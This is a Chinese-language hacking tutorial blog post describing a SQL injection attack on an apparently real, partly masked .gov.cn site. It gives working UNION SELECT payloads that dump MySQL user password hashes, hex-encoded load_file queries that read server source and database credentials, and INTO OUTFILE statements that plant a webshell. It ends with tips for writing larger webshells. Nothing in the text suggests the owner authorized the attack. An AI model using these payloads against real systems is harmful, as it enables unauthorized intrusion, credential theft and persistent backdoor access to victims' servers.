php注入写文件

作者:hack1990 时间:12-09-22 阅读数:875人阅读

教程实例一枚,直接切入.

http://www.***.gov.cn/gzdt_read.php?id=85加引号


 

出现如下字样:

 

1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\***\gzdt_read.php on line 29


 


 

look,这是什么?文件在服务器上的物理路径

那么我们来看一下php+MySql注入的稍微高级一丁点的用法,那就是load_file

load_file就是,加载文件呗!我们可以通过load_file查看网站的MySql配置信息

下一步就是看显示位,得到是8,2号显示位是标题处

后台显然是跟前面都一样的,估计上传目录肯定也做了执行权限,那么,找MySql数据库的账户密码

方法有两张

1.从数据库爆 or 2.从文件爆

数据库爆很简单,MySql数据库的user字段

http://www.***.gov.cn/gzdt_read.php?id=85+and+1=2+union+select+1,concat(user,0x5f,password),3,4,5,6,7,8+from+mysql.user


 


 

1
409800db_7819157c663cb79f

用户名为409800db密码加密后为7819157c663cb79版本为4

显然这个MySql加密解不开


那么采用第二种方法,直接load_file看配置文件

之前看到网站文件物理路径为:

D:\***\gzdt_read.php

那么对其进行hex取值,也就是取它的16位编码:

 

1
0x443A5C6864676C5C677A64745F726561642E706870


 

load_file在注入里的用法是:

+union+select+1,2,3,hex(load_file(路径的hex值)),5,6,7...,8

用法不唯一,这是其中一个

当然,这个注入语句的后面你愿意加个from+admin随便你,我选的是4号显示位

得到最终的load_file注入语句就是:

http://www.***.gov.cn/gzdt_read.php?id=85+and+1=2+union+select+1,concat(user,0x5f,password),3,hex(load_file(0x443A5C6864676C5C677A64745F726561642E706870)),5,6,7,8+from+mysql.user

好了,这下看源代码:


 


 

这些就是gzdt_read.php这个文件原始的代码经过hex取值后的东西

复制后打开WinHex,复制粘帖进去,格式选择:ASCII HEX


 


 

得到数据库连接信息:

$host="localhost";

$user="jacky";

$pass="和谐";


 


 

亮点在这里:

 

1
2
3
4
function to_html($str){
$str=str_replace(chr(13),"<br>",str_replace(chr(32),"&nbsp;",htmlspecialchars($str)));
return $str;
}

这就是传说中的过滤不严
 

Ps前面数据库中爆出的用户跟这个不一样说明数据库有多个管理账户呗!
 


 

使用工具进行MySql连接,建表,写入webshell代码:

 

1
create table test (a text);


 


 

然后执行MySql语句:

 

1
select a from mysql.test into outfile 'D:\\***\\atesttest.php';

输出到刚才的路径即可.瞧,我们的马儿出现了.


 


 

Ps:重新看下写入的webshell的源码,每一个空行都多了一个\n对不?

所以出现了错误

 

1
Warning: Unexpected character in input: '\' (ASCII=92) state=1


这是因为MySql输出文件时,咱们平日用的回车他都会自动在上面\n最为咱们用的回车.以一般直接写webshell都是写一句话,很少写大马,因为大马写出来常常不好用,就因为多了个\n。解决方法就是在大马那上面每行结尾加个/*每行开头加个*/注释掉这个\n再写大马.

发表评论